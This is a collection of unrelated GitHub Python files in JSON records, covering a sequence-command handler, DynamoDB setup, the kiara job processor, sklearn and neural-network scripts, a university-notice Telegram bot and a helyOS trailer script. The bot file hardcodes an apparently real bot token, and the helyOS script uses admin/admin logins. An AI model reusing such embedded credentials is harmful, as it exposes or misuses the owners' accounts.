\"\"\"\n def __init__(self):\n \"\"\"\n The constructor\n \"\"\"\n self.sequence_handler = Sequence_Handler()\n self.menu_dictionary = { # A dictionary containing all the available commands and their assigned function\n 'add': Sequence_Handler.insert_at_index,\n 'delete index': Sequence_Handler.delete_from_index,\n 'delete subsequence': Sequence_Handler.delete_subsequence,\n 'replace subsequence': Sequence_Handler.replace_sequence,\n 'display' : Sequence_Handler.display_sequence,\n 'display menu': lambda temp: FileStream_Retriever.retrieve_text('Readme.txt'),\n 'display prime' : Sequence_Handler.display_prime,\n 'display even' : Sequence_Handler.display_even,\n 'display sorted reverse' : Sequence_Handler.display_sorted_reverse,\n 'sum subsequence' : Sequence_Handler.sum_subsequence,\n 'gcd subsequence' : Sequence_Handler.gcd_subsequence,\n 'max subsequence' : Sequence_Handler.max_subsequence,\n 'filter prime' : Sequence_Handler.filter_prime,\n 'filter negative' : Sequence_Handler.filter_negative,\n 'undo' : Sequence_Handler.undo,\n 'redo' : Sequence_Handler.redo,\n 'quit' : lambda temp: 'Quitting...'\n }\n \n def get_keywords(self, menu_split):\n \"\"\"\n Gets all the keystrings of a given command\n Example: \n - \"replace subsequence 1 3 5 with 4 5\" will return [\"replace subsequence\", \"with\"]\n - \"delete index 1\" will return [\"delete index\"]\n \n Input:\n -menu_split - The command string\n \n Returns:\n An array containing all identified keystrings\n \"\"\"\n key_list = []\n key_string = ''\n for i in range(0, len(menu_split)):\n try: \n num = Validator.validate_int(get_index(menu_split,i), -10000, 10000)\n if(key_string != ''):\n key_string = key_string[:len(key_string) - 1]\n key_list.append(key_string)\n key_string = '' \n except ValueError as e:\n if(get_index(e.args, 0) == \"Number is invalid\"):\n key_string += get_index(menu_split,i) + ' '\n if(key_string != ''):\n key_string = key_string[:len(key_string) - 1]\n key_list.append(key_string)\n return key_list \n \n def get_numbers(self, menu_split, startIndex):\n \"\"\"\n Gets the first array of numbers encountered after a given index\n \n Input:\n -menu_split - The command string, split into an array of strings by the ' ' character\n -sequence - The base sequences\n \n Returns:\n The first array of numbers encountered\n \"\"\"\n num_array = []\n for i in range(startIndex, len(menu_split)):\n try: num = Validator.validate_int(menu_split[i], -10000, 10000)\n except ValueError:\n break\n num_array.append(num)\n return num_array\n \n def process_command(self, menu_split):\n \"\"\"\n Process a given command in order to determine the called function and it's parameters\n If the command is valid, the function is called\n \n Input: \n -menu_split - The command string, split into an array of strings by the ' ' character\n -sequence - The base sequence\n \n Returns:\n The sequence, modified by the function called by the command string if the command is executed successfully\n The unmodified sequence, if the command string is invalid, or the function call fails\n \"\"\"\n keystring_list = self.get_keywords(menu_split)\n num_list = self.get_numbers(menu_split, get_word_count(keystring_list[0]))\n try : f = self.menu_dictionary[get_index(keystring_list, 0)]\n except : \n raise ValueError(\"Invalid command\")\n if(len(keystring_list) == 2 and get_index(keystring_list, 1) != 'with'): # If we find the keyword with, we have a command of the form [ keystring number_list with numbar_list ] \n raise ValueError('Invalid input')\n elif(len(keystring_list) == 2): \n num_list = [num_list, self.get_numbers(menu_split, get_word_count(get_index(keystring_list, 0)) + 1 + len(num_list))] # the list num_list becomes an array of two number lists\n temp_sequence = f(self.sequence_handler, *num_list)\n return temp_sequence","repo_name":"Alex-D-TC/Python---Projects","sub_path":"Lab_4-6/src/Main_Package/controller/Command_Handler.py","file_name":"Command_Handler.py","file_ext":"py","file_size_in_byte":5441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"2160956177","text":"from __future__ import print_function # Python 2/3 compatibility\nimport boto3\n\ndynamodb = boto3.resource('dynamodb', region_name='us-east-1')\n\n\ntable = dynamodb.create_table(\n TableName='gpgphotobooth31',\n KeySchema=[\n {\n 'AttributeName': 'FaceID',\n 'KeyType': 'HASH' #Partition key\n },\n {\n 'AttributeName': 'ReferenceImageKey',\n 'KeyType': 'RANGE' #Sort key\n },\n ],\n AttributeDefinitions=[\n {\n 'AttributeName': 'FaceID',\n 'AttributeType': 'S'\n },\n {\n 'AttributeName': 'ReferenceImageKey',\n 'AttributeType': 'S'\n }\n ],\n ProvisionedThroughput={\n 'ReadCapacityUnits': 10,\n 'WriteCapacityUnits': 10\n }\n)\n\nprint(\"Table status:\", table.table_status)\n","repo_name":"DurjaMan27/GlenPiGeeks","sub_path":"raspberrypi/Projects/GPG Photobooth 3.0/DynamoDB/dynamodbcreatetable.py","file_name":"dynamodbcreatetable.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6802933089","text":"import abc\nimport uuid\nfrom datetime import datetime\nfrom typing import TYPE_CHECKING, Any, Dict, List, Literal, Mapping, Protocol, Union\n\nimport structlog\nfrom pydantic import BaseModel\n\nfrom kiara.exceptions import KiaraProcessingException\nfrom kiara.models.module.jobs import ActiveJob, JobConfig, JobLog, JobRecord, JobStatus\nfrom kiara.models.values.value import (\n ValueMap,\n ValueMapReadOnly,\n ValueMapWritable,\n ValuePedigree,\n)\nfrom kiara.modules import KiaraModule\nfrom kiara.registries.ids import ID_REGISTRY\nfrom kiara.utils import get_dev_config, is_develop, log_exception\n\nif TYPE_CHECKING:\n from kiara.context import Kiara\n\nlog = structlog.getLogger()\n\n\nclass JobStatusListener(Protocol):\n def job_status_changed(\n self,\n job_id: uuid.UUID,\n old_status: Union[JobStatus, None],\n new_status: JobStatus,\n ):\n pass\n\n\nclass ProcessorConfig(BaseModel):\n\n module_processor_type: Literal[\"synchronous\", \"multi-threaded\"] = \"synchronous\"\n\n\nclass ModuleProcessor(abc.ABC):\n def __init__(self, kiara: \"Kiara\"):\n\n self._kiara: Kiara = kiara\n self._created_jobs: Dict[uuid.UUID, Dict[str, Any]] = {}\n self._running_job_details: Dict[uuid.UUID, Dict[str, Any]] = {}\n self._active_jobs: Dict[uuid.UUID, ActiveJob] = {}\n self._failed_jobs: Dict[uuid.UUID, ActiveJob] = {}\n self._finished_jobs: Dict[uuid.UUID, ActiveJob] = {}\n self._output_refs: Dict[uuid.UUID, ValueMapWritable] = {}\n self._job_records: Dict[uuid.UUID, JobRecord] = {}\n\n self._listeners: List[JobStatusListener] = []\n\n def _send_job_event(\n self,\n job_id: uuid.UUID,\n old_status: Union[JobStatus, None],\n new_status: JobStatus,\n ):\n\n for listener in self._listeners:\n listener.job_status_changed(\n job_id=job_id, old_status=old_status, new_status=new_status\n )\n\n def register_job_status_listener(self, listener: JobStatusListener):\n\n self._listeners.append(listener)\n\n def get_job(self, job_id: uuid.UUID) -> ActiveJob:\n\n if job_id in self._active_jobs.keys():\n return self._active_jobs[job_id]\n elif job_id in self._finished_jobs.keys():\n return self._finished_jobs[job_id]\n elif job_id in self._failed_jobs.keys():\n return self._failed_jobs[job_id]\n else:\n raise Exception(f\"No job with id '{job_id}' registered.\")\n\n def get_job_status(self, job_id: uuid.UUID) -> JobStatus:\n\n job = self.get_job(job_id=job_id)\n return job.status\n\n def get_job_record(self, job_id: uuid.UUID) -> JobRecord:\n\n if job_id in self._job_records.keys():\n return self._job_records[job_id]\n else:\n raise Exception(f\"No job record for job with id '{job_id}' registered.\")\n\n def create_job(\n self, job_config: JobConfig, job_metadata: Union[None, Mapping[str, Any]]\n ) -> uuid.UUID:\n\n environments = {\n env_name: env.instance_id\n for env_name, env in self._kiara.current_environments.items()\n }\n\n if job_metadata is None:\n job_metadata = {}\n\n result_pedigree = ValuePedigree(\n kiara_id=self._kiara.id,\n module_type=job_config.module_type,\n module_config=job_config.module_config,\n inputs=job_config.inputs,\n environments=environments,\n )\n\n module = self._kiara.module_registry.create_module(manifest=job_config)\n unique_result_values = module.characteristics.unique_result_values\n\n outputs = ValueMapWritable.create_from_schema(\n kiara=self._kiara,\n schema=module.outputs_schema,\n pedigree=result_pedigree,\n unique_value_ids=unique_result_values,\n )\n job_id = ID_REGISTRY.generate(kiara_id=self._kiara.id)\n job_log = JobLog()\n\n job = ActiveJob(\n job_id=job_id, job_config=job_config, job_log=job_log, results=None\n )\n ID_REGISTRY.update_metadata(job_id, obj=job)\n job.job_log.add_log(\"job created\")\n\n job_details = {\n \"job_config\": job_config,\n \"job\": job,\n \"module\": module,\n \"outputs\": outputs,\n \"job_metadata\": job_metadata,\n }\n self._created_jobs[job_id] = job_details\n\n self._send_job_event(\n job_id=job_id, old_status=None, new_status=JobStatus.CREATED\n )\n\n if is_develop():\n\n dev_settings = get_dev_config()\n\n if dev_settings.log.log_pre_run and (\n not module.characteristics.is_internal\n or dev_settings.log.pre_run.internal_modules\n ):\n\n is_pipeline_step = job_metadata.get(\"is_pipeline_step\", False)\n if is_pipeline_step:\n if dev_settings.log.pre_run.pipeline_steps:\n step_id = job_metadata.get(\"step_id\", None)\n assert step_id is not None\n title = (\n f\"Pre-run information for pipeline step: [i]{step_id}[/i]\"\n )\n else:\n title = None\n else:\n title = f\"Pre-run information for module: [i]{module.module_type_name}[/i]\"\n\n if title:\n from kiara.utils.debug import create_module_preparation_table\n from kiara.utils.develop import log_dev_message\n\n table = create_module_preparation_table(\n kiara=self._kiara,\n job_config=job_config,\n job_id=job_id,\n module=module,\n )\n log_dev_message(table, title=title)\n\n return job_id\n\n def queue_job(self, job_id: uuid.UUID) -> ActiveJob:\n\n job_details = self._created_jobs.pop(job_id)\n self._running_job_details[job_id] = job_details\n job_config: JobConfig = job_details.get(\"job_config\") # type: ignore\n\n job: ActiveJob = job_details.get(\"job\") # type: ignore\n module: KiaraModule = job_details.get(\"module\") # type: ignore\n outputs: ValueMapWritable = job_details.get(\"outputs\") # type: ignore\n\n self._active_jobs[job_id] = job # type: ignore\n self._output_refs[job_id] = outputs # type: ignore\n\n input_values = self._kiara.data_registry.load_values(job_config.inputs)\n\n if module.is_pipeline():\n module._set_job_registry(self._kiara.job_registry) # type: ignore\n\n try:\n self._add_processing_task(\n job_id=job_id,\n module=module,\n inputs=input_values,\n outputs=outputs,\n job_log=job.job_log,\n )\n return job\n\n except Exception as e:\n msg = str(e)\n if not msg:\n msg = repr(e)\n job.error = msg\n\n if isinstance(e, KiaraProcessingException):\n e._module = module\n e._inputs = ValueMapReadOnly.create_from_ids(\n data_registry=self._kiara.data_registry, **job_config.inputs\n )\n job._exception = e\n log_exception(e)\n raise e\n else:\n kpe = KiaraProcessingException(\n e,\n module=module,\n inputs=ValueMapReadOnly.create_from_ids(\n self._kiara.data_registry, **job_config.inputs\n ),\n )\n job._exception = kpe\n log_exception(kpe)\n raise e\n\n def job_status_updated(\n self, job_id: uuid.UUID, status: Union[JobStatus, str, Exception]\n ):\n\n job = self._active_jobs.get(job_id, None)\n if job is None:\n raise Exception(\n f\"Can't retrieve active job with id '{job_id}', no such job registered.\"\n )\n\n old_status = job.status\n\n if status == JobStatus.SUCCESS:\n self._active_jobs.pop(job_id)\n job.job_log.add_log(\"job finished successfully\")\n job.status = JobStatus.SUCCESS\n job.finished = datetime.now()\n values = self._output_refs[job_id]\n try:\n values.sync_values()\n value_ids = values.get_all_value_ids()\n job.results = value_ids\n job.job_log.percent_finished = 100\n job_record = JobRecord.from_active_job(\n active_job=job, kiara=self._kiara\n )\n self._job_records[job_id] = job_record\n self._finished_jobs[job_id] = job\n except Exception as e:\n status = e\n job.job_log.add_log(\"job failed\")\n job.status = JobStatus.FAILED\n job.finished = datetime.now()\n msg = str(status)\n job.error = msg\n job._exception = status\n self._failed_jobs[job_id] = job\n\n log.debug(\n \"job.failed\",\n job_id=str(job.job_id),\n msg=f\"failed to sync job results: {job.error}\",\n module_type=job.job_config.module_type,\n )\n status = JobStatus.FAILED\n\n elif status == JobStatus.FAILED or isinstance(status, (str, Exception)):\n self._active_jobs.pop(job_id)\n job.job_log.add_log(\"job failed\")\n job.status = JobStatus.FAILED\n job.finished = datetime.now()\n if isinstance(status, str):\n job.error = status\n elif isinstance(status, Exception):\n msg = str(status)\n job.error = msg\n job._exception = status\n self._failed_jobs[job_id] = job\n log.debug(\n \"job.failed\",\n job_id=str(job.job_id),\n msg=job.error,\n module_type=job.job_config.module_type,\n )\n status = JobStatus.FAILED\n elif status == JobStatus.STARTED:\n job.job_log.add_log(\"job started\")\n job.status = JobStatus.STARTED\n job.started = datetime.now()\n else:\n raise ValueError(f\"Invalid value for status: {status}\")\n\n log.debug(\n \"job.status_updated\",\n old_status=old_status.value,\n new_status=job.status.value,\n job_id=str(job.job_id),\n module_type=job.job_config.module_type,\n )\n\n if status in [JobStatus.SUCCESS, JobStatus.FAILED]:\n if is_develop():\n dev_config = get_dev_config()\n if dev_config.log.log_post_run:\n details = self._running_job_details[job_id]\n module: KiaraModule = details[\"module\"]\n skip = False\n if (\n module.characteristics.is_internal\n and not dev_config.log.post_run.internal_modules\n ):\n skip = True\n is_pipeline_step = details[\"job_metadata\"].get(\n \"is_pipeline_step\", False\n )\n if is_pipeline_step and not dev_config.log.post_run.pipeline_steps:\n skip = True\n\n if not skip:\n if is_pipeline_step:\n step_id = details[\"job_metadata\"][\"step_id\"]\n title = f\"Post-run information for pipeline step: {step_id}\"\n else:\n title = f\"Post-run information for module: {module.module_type_name}\"\n\n from kiara.utils.debug import create_post_run_table\n from kiara.utils.develop import log_dev_message\n\n rendered = create_post_run_table(\n kiara=self._kiara,\n job=job,\n module=module,\n job_config=details[\"job_config\"],\n )\n log_dev_message(rendered, title=title)\n\n self._running_job_details.pop(job_id)\n\n self._send_job_event(\n job_id=job_id, old_status=old_status, new_status=job.status\n )\n\n def wait_for(self, *job_ids: uuid.UUID):\n \"\"\"Wait for the jobs with the specified ids, also optionally sync their outputs with the pipeline value state.\"\"\"\n self._wait_for(*job_ids)\n\n for job_id in job_ids:\n job = self._job_records.get(job_id, None)\n if job is None:\n _job = self._failed_jobs.get(job_id, None)\n if _job is None:\n raise Exception(f\"Can't find job with id: {job_id}\")\n\n @abc.abstractmethod\n def _wait_for(self, *job_ids: uuid.UUID):\n pass\n\n @abc.abstractmethod\n def _add_processing_task(\n self,\n job_id: uuid.UUID,\n module: \"KiaraModule\",\n inputs: ValueMap,\n outputs: ValueMapWritable,\n job_log: JobLog,\n ) -> str:\n pass\n","repo_name":"DHARPA-Project/kiara","sub_path":"src/kiara/processing/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13412,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"35230589468","text":"import cv2\nimport PIL.Image\nimport numpy as np\nfrom sklearn.svm import LinearSVC\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\n\n\nclass Model:\n\n def choose_best_classifier(self, counters):\n x_train, x_test, y_train, y_test = self.create_train_test_data(counters)\n\n model_linear = LinearSVC()\n model_linear.fit(x_train, y_train)\n pred_linear = model_linear.predict(x_test)\n accuracy_linear = accuracy_score(y_test, pred_linear)\n print(f\"Accuracy of LinearSVC is: {accuracy_linear}\")\n if accuracy_linear == 1.0:\n print(f\"Accuracy of LinearSVC = 1.0, using it\")\n return LinearSVC()\n else:\n model_knn = KNeighborsClassifier()\n model_knn.fit(x_train, y_train)\n pred_knn = model_knn.predict(x_test)\n accuracy_knn = accuracy_score(y_test, pred_knn)\n print(f\"Accuracy of KNeighborsClassifier is: {accuracy_knn}\")\n if accuracy_knn == 1.0:\n print(f\"Accuracy of KNeighborsClassifier = 1.0, using it\")\n return KNeighborsClassifier()\n else:\n model_random_forest = RandomForestClassifier(max_depth=2, random_state=0)\n model_random_forest.fit(x_train, y_train)\n pred_random_forest = model_random_forest.predict(x_test)\n accuracy_random_forest = accuracy_score(y_test, pred_random_forest)\n print(f\"Accuracy of RandomForestClassifier is: {accuracy_random_forest}\")\n if accuracy_random_forest == 1.0:\n print(f\"Accuracy of RandomForestClassifier = 1.0, using it\")\n return RandomForestClassifier()\n else:\n if accuracy_linear >= accuracy_knn and accuracy_linear >= accuracy_random_forest:\n return LinearSVC()\n elif accuracy_knn >= accuracy_linear and accuracy_knn >= accuracy_random_forest:\n return KNeighborsClassifier()\n elif accuracy_random_forest >= accuracy_linear and accuracy_random_forest >= accuracy_knn:\n return RandomForestClassifier()\n else:\n return LinearSVC()\n\n def choose_classifier(self, classifier, counters):\n if classifier == 'LinearSVC':\n self.model = LinearSVC()\n elif classifier == 'KNeighbors':\n self.model = KNeighborsClassifier()\n elif classifier == 'RandomForest':\n self.model = RandomForestClassifier(max_depth=2, random_state=0)\n else:\n self.model = self.choose_best_classifier(counters)\n\n return self.model\n\n def create_train_test_data(self, counters):\n img_list = np.array([])\n class_list = np.array([])\n\n for i in range(1, counters[0]):\n img = cv2.imread(f\"1/frame{i}.jpg\")[:, :, 0]\n img = img.reshape(16950)\n img_list = np.append(img_list, [img])\n class_list = np.append(class_list, 1)\n\n for i in range(1, counters[1]):\n img = cv2.imread(f\"2/frame{i}.jpg\")[:, :, 0]\n img = img.reshape(16950)\n img_list = np.append(img_list, [img])\n class_list = np.append(class_list, 2)\n\n img_list = img_list.reshape(counters[0] - 1 + counters[1] - 1, 16950)\n\n x_train, x_test, y_train, y_test = train_test_split(img_list, class_list, test_size=0.33, random_state=42)\n\n return x_train, x_test, y_train, y_test\n\n def train_model(self, classifier, counters):\n self.model = self.choose_classifier(classifier, counters)\n x_train, x_test, y_train, y_test = self.create_train_test_data(counters)\n self.model.fit(x_train, y_train)\n\n def predict(self, frame):\n frame = frame[1]\n cv2.imwrite(\"frame.jpg\", cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY))\n img = PIL.Image.open(\"frame.jpg\")\n img.thumbnail((150, 150), PIL.Image.ANTIALIAS)\n img.save(\"frame.jpg\")\n\n img = cv2.imread(\"frame.jpg\")[:, :, 0]\n img = img.reshape(16950)\n prediction = self.model.predict([img])\n\n return prediction[0]\n","repo_name":"Gerakakliwe/exercise-counter","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19422578654","text":"import telegram\nfrom telegram.ext import Updater, CommandHandler\nimport requests\nfrom bs4 import BeautifulSoup\nimport os\n\nmy_token = '645804650:AAEFzjMH_sL6fU3oj-k12pCsLexAw8Uyzjs'\nbot = telegram.Bot(token=my_token)\nupdates = bot.getUpdates()\nchat_id = \"702266940\"\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\n\ndef start(bot,update):\n with open(os.path.join(BASE_DIR, 'hello.txt'), 'r+') as f_read:\n hello = f_read.read()\n bot.sendMessage(chat_id=chat_id, text=hello)\n\ndef depart(bot, update):\n depart_notice = requests.get('http://computer.cnu.ac.kr/index.php?mid=notice')\n depart_notice.encoding = 'utf-8'\n depart_html = depart_notice.text\n depart_soup = BeautifulSoup(depart_html, 'html.parser')\n update.message.reply_text(\"depart\")\n a = \"\"\n for text in depart_soup.select(\"tr.notice > td.title > a\"):\n a = a + \"\\n\" + text.text +\"\\n\"+ text.get('href')\n for no in depart_soup.select(\"td.title > a.hx\"):\n a = a + no.text.replace(\"\t\t\t\t\t\", \"\")+\"\\n\"+ text.get('href')\n bot.sendMessage(chat_id=chat_id,text=a)\n\n with open(os.path.join(BASE_DIR, 'hello.txt'), 'r+') as f_read:\n hello = f_read.read()\n bot.sendMessage(chat_id=chat_id, text=hello)\n\ndef com(bot, update):\n com_notice = requests.get('http://computer.cnu.ac.kr/index.php?mid=gnotice')\n com_notice.encoding = 'utf-8'\n com_html = com_notice.text\n com_soup = BeautifulSoup(com_html, 'html.parser')\n update.message.reply_text(\"com\")\n a = \"\"\n for text in com_soup.select(\"tr.notice >td.title > a\"):\n a = a + \"\\n\" + text.text+\"\\n\"+ text.get('href')\n for no in com_soup.select(\"td.title > a.hx\"):\n a = a + no.text.replace(\"\t\t\t\t\t\", \"\")+\"\\n\"+ text.get('href')\n bot.sendMessage(chat_id=chat_id,text=a)\n\n with open(os.path.join(BASE_DIR, 'hello.txt'), 'r+') as f_read:\n hello = f_read.read()\n bot.sendMessage(chat_id=chat_id, text=hello)\n\ndef sa(bot, update):\n sa_notice = requests.get('http://computer.cnu.ac.kr/index.php?mid=saccord')\n sa_notice.encoding = 'utf-8'\n sa_html = sa_notice.text\n sa_soup = BeautifulSoup(sa_html, 'html.parser')\n update.message.reply_text(\"sa\")\n a = \"\"\n for text in sa_soup.select(\"tr.notice >td.title > a\"):\n a = a + \"\\n\" + text.text+\"\\n\"+ text.get('href')\n for no in sa_soup.select(\"td.title > a.hx\"):\n a = a + no.text.replace(\"\t\t\t\t\t\", \"\")+\"\\n\"+ text.get('href')\n bot.sendMessage(chat_id=chat_id,text=a)\n\n with open(os.path.join(BASE_DIR, 'hello.txt'), 'r+') as f_read:\n hello = f_read.read()\n bot.sendMessage(chat_id=chat_id, text=hello)\n\ndef job(bot, update):\n job_notice = requests.get('http://computer.cnu.ac.kr/index.php?mid=job')\n job_notice.encoding = 'utf-8'\n job_html = job_notice.text\n job_soup = BeautifulSoup(job_html, 'html.parser')\n update.message.reply_text(\"job\")\n a = \"\"\n for text in job_soup.select(\"tr.notice >td.title > a\"):\n a = a + \"\\n\" + text.text+\"\\n\"+ text.get('href')\n for no in job_soup.select(\"td.title > a.hx\"):\n a = a + no.text.replace(\"\t\t\t\t\t\", \"\")+\"\\n\"+ text.get('href')\n bot.sendMessage(chat_id=chat_id,text=a)\n\n with open(os.path.join(BASE_DIR, 'hello.txt'), 'r+') as f_read:\n hello = f_read.read()\n bot.sendMessage(chat_id=chat_id, text=hello)\n\nupdater = Updater(my_token)\ndp = updater.dispatcher\ndp.add_handler(CommandHandler('start', start))\ndp.add_handler(CommandHandler('depart', depart))\ndp.add_handler(CommandHandler('com', com))\ndp.add_handler(CommandHandler('sa', sa))\ndp.add_handler(CommandHandler('job', job))\nupdater.start_polling(timeout=1, clean=True)\nupdater.idle()\n","repo_name":"dbgprud/telegram-bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40061751522","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Using HTTP requests to add/remove trailers into the yard \n\n# ## Connecting with helyOS\n\nimport requests, json\nhostname = \"http://localhost:5000\"\nusername = \"admin\"\npassword = \"admin\"\nsession = requests.Session()\nsession.headers.update({ \"Content-Type\": \"application/json; charset=utf-8\"})\n\n\ndef get_create_token(username, password):\n session.headers.pop('Authorization', '')\n graphql_request = {\"operationName\": \"authenticate\",\n \"query\":\"\"\" mutation authenticate($postMessage: AuthenticateInput!) {\n authenticate(input:$postMessage) { jwtToken }}\n \"\"\",\n \"variables\": {\"postMessage\": { \"username\": username, \"password\":password} }\n }\n res = session.post(f\"{hostname}/graphql\", json=graphql_request)\n token = res.json()['data']['authenticate']['jwtToken']\n return token\n\nauthToken = get_create_token(username, password)\nsession.headers.update({ \"Authorization\": f\"Bearer {authToken}\"}) \n\n\n## CRUDE functions\n\ndef list_tools(uuid):\n graphql_request = {\"operationName\": \"allTools\",\n \"query\":\"\"\" \n query allTools($condition: ToolCondition!) {\n allTools (condition: $condition){\n nodes {id, uuid, geometry}\n }\n }\n \"\"\",\n\n \"variables\": {\"condition\": {\"uuid\": uuid} }\n }\n\n res = session.post(f\"{hostname}/graphql\", json=graphql_request)\n return res.json()['data']['allTools']['nodes']\n \n\ndef create_resource(uuid, name, pose, geometry, status, toolType, yardId, **other):\n\n tool_data = {'uuid':uuid, 'name': name, 'yardId': yardId, 'geometry': json.dumps(geometry),'status': status,\n 'toolType': toolType}\n tool_data['x']=pose['x']\n tool_data['y']=pose['y']\n tool_data['orientations']=pose['orientations']\n \n tool_data = {**tool_data, **other}\n \n graphql_request = {\"operationName\": \"createTool\",\n \"query\":\"\"\" \n mutation createTool($postMessage: CreateToolInput!){\n createTool(input:$postMessage) { tool{id} }\n }\"\"\",\n\n \"variables\": {\"postMessage\": {\"tool\": tool_data} }\n } \n \n res = session.post(f\"{hostname}/graphql\", json=graphql_request)\n print(res.json())\n if res.status_code != 200:\n print(res.status_code)\n \n \ndef update_resource(uuid, name, pose, geometry, status, toolType, yardId, **other):\n tool_data = dict()\n if pose: \n tool_data['x']=pose['x']\n tool_data['y']=pose['y']\n tool_data['orientations']=pose['orientations']\n \n if name: tool_data['name'] = name\n if yardId: tool_data['yardId'] = yardId\n if geometry: tool_data['geometry'] = json.dumps(geometry)\n if status: tool_data['status'] = status\n if toolType: tool_data['toolType'] = toolType\n tool_data = {**tool_data, **other}\n \n graphql_request = {\"operationName\": \"updateToolByUuid\",\n \"query\":\"\"\" \n mutation updateToolByUuid($postMessage: UpdateToolByUuidInput!){\n updateToolByUuid(input:$postMessage) { tool{id} }\n }\"\"\",\n\n \"variables\": {\"postMessage\": { \"uuid\": uuid, \"toolPatch\": tool_data} }\n } \n \n res = session.post(f\"{hostname}/graphql\", json=graphql_request)\n if res.status_code != 200:\n print(res.status_code)\n \n\ndef create_or_update_resource(uuid, *arg, **others):\n res = list_tools(uuid)\n if len(res):\n print('update', uuid)\n return update_resource(uuid, *arg, **others)\n else:\n print('create', uuid)\n return create_resource(uuid, *arg, **others)\n \n\n\n ## Creating or Reseting trailers\n\nyardId = 1\nwith open('geometry_trailer.json', 'r') as f:\n trailer_geometry = json.load(f)\n\ncreate_or_update_resource(\"swapbody_1\", \"swapbody_1\", {'x':-26833,'y':500, 'orientations':[2876]}, \n trailer_geometry, \"free\",\"trailer\", yardId,\n factsheet= json.dumps({'current_gate': \"G21\"}),\n acknowledgeReservation=False)\n\n\ncreate_or_update_resource(\"swapbody_2\", \"swapbody_2\", {'x':-28490,'y':-6266, 'orientations':[2876]}, \n trailer_geometry, \"free\", \"trailer\", yardId,\n factsheet= json.dumps({'current_gate': \"G22\"}),\n acknowledgeReservation=False)\n \n\ncreate_or_update_resource(\"trailer_1\", \"trailer_1\", {'x':-29884,'y':-9967, 'orientations':[2876]}, \n trailer_geometry, \"free\", \"trailer\", yardId,\n factsheet= json.dumps({'current_gate': \"G23\"}),\n acknowledgeReservation=False)\n\n\ncreate_or_update_resource(\"trailer_2\", \"trailer_2\", {'x':-30323,'y':-13940, 'orientations':[2876]}, \n trailer_geometry, \"free\", \"trailer\", yardId,\n factsheet= json.dumps({'current_gate': \"G24\"}),\n acknowledgeReservation=False)\n\n \n \n\n","repo_name":"FraunhoferIVI/helyOS-demo-logistics-center","sub_path":"settings/register_trailers_to_yard.py","file_name":"register_trailers_to_yard.py","file_ext":"py","file_size_in_byte":5630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23106700287","text":"from sklearn.datasets import load_iris\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\n\niris = load_iris()\n\niris_data = iris.data\n\niris_label = iris.target\nprint('iris target 값:', iris_label)\nprint('iris target 명:', iris.target_names)\n\n# 붓꽃 데이터 세트를 자세히 보기 위해 DataFrame 으로 변환\niris_df = pd.DataFrame(data=iris_data, columns=iris.feature_names)\niris_df['label'] = iris.target\nprint(iris_df.head(3))\nprint(type(iris_df))\n\nkeys = iris_df.keys()\nprint('붓꽃 데이터 세트의 키들 : ', keys)","repo_name":"sunho-park/study1","sub_path":"selfstudy/6_25_sklearn.py","file_name":"6_25_sklearn.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21534306514","text":"import sys\nimport numpy as np\nimport math as math\nimport matplotlib.pyplot as plt\nimport xor\nimport circle\nimport activation as ac\nimport error as er\nfrom network import Network\nimport visualization as vs\n\nclass FunctionContainer:\n pass\n\ndef find_fittest():\n problem = get_data_generator()\n data_generator, _ = problem\n layer_dims = get_layer_dims()\n networks_num = get_networks_num()\n activation = get_activation()\n output_activation = get_output_activation()\n error = get_error()\n epochs = get_epochs()\n learning_rate = get_learning_rate()\n data_size, test_percentage = get_data_size()\n network_history = []\n for n in range(networks_num):\n problem_data = data_generator(data_size, test_percentage)\n network = Network(activation, output_activation, error, layer_dims, problem_data, epochs, learning_rate)\n network.build_and_train()\n network_history.append(network)\n\n m = min(network_history, key=lambda n: n.test_cost)\n print('min cost: {0:f}'.format(m.test_cost))\n plt.subplot(2, 1, 1)\n plt.title('best weights')\n vs.test_propagation(np.argmin, problem, network_history, data_size)\n plt.subplot(2, 1, 2)\n plt.title('worst weights')\n vs.test_propagation(np.argmax, problem, network_history, data_size)\n plt.show()\n\ndef get_activation():\n return __get_activation(sys.argv[2])\n\ndef get_output_activation():\n return __get_activation(sys.argv[3])\n\ndef __get_activation(name):\n tanh = (ac.tanh, ac.tanh_der)\n relu = (ac.relu, ac.relu_der)\n sigmoid = (ac.sigmoid, ac.sigmoid_der)\n functions = { 'tanh': tanh, 'relu': relu, 'sigmoid': sigmoid }\n ft = functions.get(name, tanh)\n function = FunctionContainer()\n function.func, function.der = ft\n return function\n\ndef get_data_generator():\n name = sys.argv[1]\n xor_problem = (xor.generate_data, xor.get_wrong_points)\n cicrle_problem = (circle.generate_data, circle.get_wrong_points)\n problems = { 'xor': xor_problem, 'circle': cicrle_problem }\n problem = problems.get(name, xor_problem) \n return problem\n\ndef get_layer_dims():\n value = sys.argv[5]\n return tuple(map(int, value.split(',')))\n\ndef get_networks_num():\n value = sys.argv[6]\n return int(value)\n\ndef get_epochs():\n value = sys.argv[7]\n return int(value)\n\ndef get_data_size():\n value = sys.argv[8]\n return tuple(map(int, value.split(',')))\n\ndef get_learning_rate():\n value = sys.argv[9]\n return float(value)\n\ndef get_error():\n square = (er.square_loss, er.square_loss_der, er.square_cost, 